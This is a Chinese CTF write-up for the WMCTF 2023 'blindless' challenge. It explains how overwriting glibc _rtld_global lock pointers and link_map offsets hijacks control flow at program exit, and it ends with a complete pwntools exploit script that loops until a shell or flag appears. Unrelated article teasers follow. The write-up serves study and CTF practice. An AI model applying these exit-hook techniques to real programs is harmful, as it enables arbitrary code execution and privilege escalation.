内存利用:迟来的blindless与逃不掉的exit漏洞

2023-09-19 17:18:40

0x01 前言

在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。

这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。

在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。

"blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。

0x02 exit_hook的n种姿势

b6f718b39995c2a34c8f6b907e244878.jpeg

基地址放在此处供各位参考一下,用于计算指令偏移。

exit_hook2libc

首先是p &_rtld_global(看地址),他有一个rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive的元素可以改来调用。

注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!

执行p _rtld_global。看到那两个rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx就可以查看其地址了。

0c60f3a3ebdf39160646e139dc566656.jpeg

注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive也改成system的话)。

5ca94fa7e130dee8eff34e12f4d9efcb.jpeg

然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。

注意这个2312是十进制。

cea11391090c1adfba32e5127b45d553.jpeg

好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook到这里还没完。

并且严格来说,这里并不是完全的exit_hook2libc,如果知道elf的地址也完全可以返回到elf上的函数。

接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)

exit_hook2elf

1.间接call

这个在这里,第一个是间接call,即指令是call qword ptr [寄存器],意思就是从寄存器的地址指向的内存里取地址,然后call。

对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312使用。

例如修改_rtld_global+2312为"/bin/sh\x00"

29df4ac8f5d3ac76d92ffff46872090e.jpeg

这个的基地址和偏移是存在于link_map的,这样可以找到他的地址。

c53f55ae80dd52cb4d844e2bb3a99aad.jpeg

调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。

注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。

8724118d7d1a4db15155bd3227389c11.jpeg
2.直接call

link_map地址+0xa8是存第二个直接call的偏移

注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。

0c02ea4423f59fb1fed3dc40e5ccc69f.jpeg

如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。

但是发现有一个地方判断可以跳过call r14

b2a1e43e22086e6f03a097361dcb7fe4.jpeg

就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。

在x86汇编中,je 指令的作用是:

  1. 1. 检查零标志位(ZF)是否被设置为 1。

  2. 2. 如果零标志位被设置为 1,将进行跳转到指定的目标位置。

回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。

bbeb298c55644f58044d6f46e8c70c71.jpeg

完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。

0x03 exp

那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。

from pwn import *


n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
rl  = lambda     :p.recvline()
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

while True:

        context(os='linux', arch='amd64', log_level='debug')
        p = process('./main')
        context.terminal = ['tmux','new-window' ,'-n','-c']
        #gdb.attach(p)
        sla('ze',b'-10')#分配到libc上(用mmap)
        sla('ze',b'256')

        pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
        pay += b'@'+p32(2148618432)
        pay +=b'.' + b'\xb1'
        pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
        pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
        pay +=b'.' + b'\x00'
        pay += b'q'
        sla('code\n',pay)

        re = p.recvrepeat(0.1)#一直接收直到有回显
        #如果是system的话可以发一个cat flag再这样
        #这是个很好的爆破方式,学习学习
        if re:
            print('pwned!get your flag here:',re)
            exit(0)
        p.close()
1b86dbd4e6665b6e8960de4f05bda151.jpeg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

c49e0a1e1f3e9b007592cbdc0d6bd990.gif

开学大狂欢,戳“阅读原文”

更多推荐

网络协议 — syslog 协议与 rsyslog 日志服务

目录文章目录目录syslog协议FacilitySeverityActionrsyslog软件架构rsyslogd服务rsyslog.confMODULESGLOBALDIRECTIVESRULS属性替代模板渲染过滤规则Filter模块队列远端日志文件服务器部署示例客户端服务器验证将日志存储至MySQL部署示例服务器验

ASO优化之如何给应用选择竞争对手

在选择竞争对手过程中,最常见的错误之一是没有考虑到自己的应用与同一行业的其他应用相比的范围。例如如果我们刚刚发布了一个应用程序,那么最好的办法就是专注于研究和自己同一级别的应用。1、研究主要关键词。首先选择5到10个可以定义产品类型的主要关键词,找到它们后,需要在GooglePlay、AppStore或其他应用商店内,

关于埋点上报

一、埋点上报结构包含哪些?埋点上报结构一般包含以下信息:事件名称:标识上报的是哪个事件,例如“注册成功”或“点击按钮”等。事件发生时间:记录事件发生的时间戳。用户ID:标识事件所属的用户。设备信息:记录设备类型、操作系统版本、应用版本等。地理位置:记录事件发生时的地理位置信息,可以是经纬度、城市名称等。其他自定义参数:

Vivado中增加源文件界面中各选项的解释

文章目录官方解释结论总结验证增加单个.v文件增加文件夹Copysourcesintoproject参考文献本文对Vivado中增加源文件界面AddorCreateDesignSources和AddorCreateSmulatonsources中的选项ScanandaddRTLincludefilesintoprojec

yolov5自动训练/预测-小白教程

文章目录引言一、配置参数设置1、数据参数配置2、模型训练参数配置3、模型预测参数配置二、一键训练/预测的sh介绍1、训练sh文件(train.sh)介绍2、预测sh文件(detect.sh)介绍三、本文训练main代码解读1、训练main函数解读2、数据加工与参数替换四、本文预测main代码解读1、训练main函数解读

安卓系列机型 框架LSP 安装步骤 支持多机型 LSP框架通用安装步骤【二】

​​​​​​安卓玩机教程---全机型安卓4----安卓12框架xpedxlsp安装方法【一】低版本可以参考上个博文了解相关安装方法。LSP框架优点简单来说装lsp框架的优点在于可以安装各种模块。包括但不限于系统优化加速游戏开挂等等的模块。大致相当于电脑的扩展油猴Lsposed框架是在Edposed框架的基础上进行改良的

【云原生 | 57】Docker三剑客之Docker Swarm֯使用其他服务发现后端

🍁博主简介:🏅云计算领域优质创作者🏅2022年CSDN新星计划python赛道第一名🏅2022年CSDN原力计划优质作者🏅阿里云ACE认证高级工程师🏅阿里云开发者社区专家博主💊交流社区:CSDN云计算交流社区欢迎您的加入!目录1.使用文件2.其他发现服务后端3.地址和端口的范围匹配👑👑👑结束语👑�

云原生之使用Docker部署SSCMS内容管理系统

云原生之使用Docker部署SSCMS内容管理系统一、SSCMS介绍二、本地环境介绍2.1本地环境规划2.2本次实践介绍三、本地环境检查3.1检查Docker服务状态3.2检查Docker版本3.3检查dockercompose版本四、下载SSCMS镜像五、部署SSCMS内容管理系统5.1创建SSCMS容器5.2检查S

制作学生查询小程序

学生个人成绩查询小程序,一款助力教师实时了解学生学习情况的便捷工具。本文将为您揭秘它的制作过程,并提供实用的建议。然而,简便易用的方法莫过于选择现有的工具。许多教师都偏爱使用易查分来快速创建查分网站。与传统的独立开发方式不同,易查分免去了高昂的定制费用和计算机技术要求。只需简单操作电脑,教师们就能通过上传成绩表格轻松制

家政服务小程序上门服务小程序预约上门服务维修保洁上门服务在线派单技师入口

套餐一:源码=1500元套餐二:全包服务包服务器+域名+认证小程序+搭建+售后=2000元主要功能:1、服务商入驻支持个人或企业入驻成为平台服务商;2、发布商品入驻服务商后,可以发布服务商品,用户可以在线下单,预约服务;3、发布需求用户可以发布一口价或竞价需求,服务商抢-单,用户可以选择服务商下单服务;4、服务商等级支

家族小程序:连接亲情的技术纽带

家族小程序是一种基于互联网技术的应用程序,旨在为家族成员提供便捷的沟通与分享平台。它通过集成了多种功能模块,如家族动态、相册分享、日程安排等,实现了家庭成员之间的实时互动和信息共享。本文将深入探讨家族小程序的原理和功能,分析其对家庭关系的影响,并就其发展趋势进行思考,旨在为读者提供专业且有深度的见解,进一步了解家族小程

热文推荐